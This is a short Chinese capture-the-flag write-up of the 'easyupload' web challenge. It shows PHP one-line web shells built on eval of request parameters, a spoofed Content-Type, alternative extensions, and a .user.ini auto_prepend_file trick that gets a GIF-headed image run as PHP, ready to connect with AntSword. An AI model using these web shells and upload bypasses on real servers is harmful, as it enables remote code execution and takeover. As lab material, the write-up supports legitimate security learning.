攻防世界35-easyupload-CTFWeb
通过各种上传发现,过滤了php后缀和内容中有php的文件
有这几种方式上传一句话木马
<script language="php">eval($_POST[1]);</script>
<?php eval($_POST['cmd']);?>
<?= eval($_POST['cmd']);?>
那么如果过滤php的话只能用最后一种方式
上传时也要注意Content-Type: text/jpg
上传名称后缀为.phtml .phps .php5 .pht等(可以自行FUZZ测试,自己找字典)
这题我不会做,也是看题解的
学会一种新方式:
.user.ini绕过
.user.ini中两个中的配置就是auto_prepend_file和auto_append_file。这两个配置的意思就是:我们指定一个文件(如1.jpg),那么该文件就会被包含在要执行的php文件中(如index.php),相当于在index.php中插入一句:require(./1.jpg)。这两个设置的区别只是在于auto_prepend_file是在文件前插入,auto_append_file在文件最后插入。
利用.user.ini的前提是服务器开启了CGI或者FastCGI,并且上传文件的存储路径下有index.php可执行文件。
所以本题我们要想上传并且执行,首先上传.user.ini文件,然后上传一个图片。
可以新建.user.ini文件,内容如下
GIF89a
auto_prepend_file=a.jpg
上传并更改Content-Type: image/jpeg
然后创建a.jpg,内容为
GIF89a
<?=eval($_REQUEST['cmd']);?>
用蚁剑连接即可
<?=eval($_REQUEST['cmd']);?>
用蚁剑连接即可![image-20241110152027401](https://img-blog.csdnimg.cn/img_convert/2201b0243af346f87c1e51fb8fc5c786.png)